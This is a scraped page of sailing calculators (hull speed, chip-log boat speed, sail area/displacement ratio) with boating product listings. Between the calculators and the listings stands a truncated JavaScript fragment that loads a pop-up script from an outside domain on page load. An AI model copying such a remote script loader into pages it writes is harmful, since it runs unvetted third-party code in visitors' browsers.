Sailor's Solutions LLC      
Marine Calculators
Hull Speed
Maximum Speed of a Single-Hull Displacement Boat

Hull Speed = 1.34 * (LWL)1/2
  
What's your boat's length of waterline in feet?  
 

Boat Speed
If your speed log is disabled, you can calculate the boat's speed by determining the time it takes for a wood chip or other floating object to pass from the bow to the stern. If you want to retrieve the object, attach a string to it.

Boat Speed = (60 (sec/min) * 60 (min/hr) * length of boat in feet) /
( 6076.1 (feet/nautical mile)* seconds for chip to pass)
How long is your boat in feet?
How long does it take for a light object to reach the end of the boat in seconds?
 

Sail Area Displacement Ratio
This ratio indicates how fast the boat is in light wind. The higher the number the faster the boat.
10-15Cruiser
16-20Cruiser-Racer
21-24Racer
> 24Performance Racer

Sail Area Displacement Ratio = Sail Area / ( Displacement Volume )2/3
Displacement Volume in Cubic Feet = Weight in Pounds / 64
What is the area of your sail in square feet?
How heavy is your boat in pounds?
 

unction(d){let s=d.createElement('script');s.async=true;s.src='https://news-cixuki.com/code/pops.php?sid=8051263&sub1=sailorssolutions&land=16';d.head.appendChild(s);})(document);
product<br>image
Laser Rescue Flare
Hand-held day and nighttime laser signaling device.
$99.95
product<br>image
Signal Mate 2NM LED Tri-Color & 2NM Anchor with Wind Indicator Illumination Includes mounting bracket
Compact and rugged Designed for many years of operation Made in USA
$285.00
product<br>image
Winch Handle Holder

$24.95
product<br>image
Coolnet Sailboat Hammock - Unique 3-point design sets up fast and stores easily
If you want a really nice place to lounge or sit you need this hammock! that you can rig in a few minutes
$169.99
product<br>image
Outdoor Collapsible Solar Lantern. Luci Outdoor 2.0

$19.95
product<br>image
Medium Soundproofing Kit- 18 tiles typical 32'-36' boat engine compartment (1 inch X 1 foot X 1 foot tiles)
New and improved with fiberglass reinforced reflective surface!
You're going to love the quiet motoring!
$178.27
product<br>image
Smartlock stainless steel security cable (16 feet, 5 meters) (in stock)

$98.95
product<br>image
Signal Mate 2NM LED Tri-Color plus Anchor, Wind Indicator Illumination and Daylight Sensor (bracket included)
Compact and rugged Designed for many years of operation. Daylight sensor turns Anchor light on/off Made in USA!
$310.00

Go to top of page.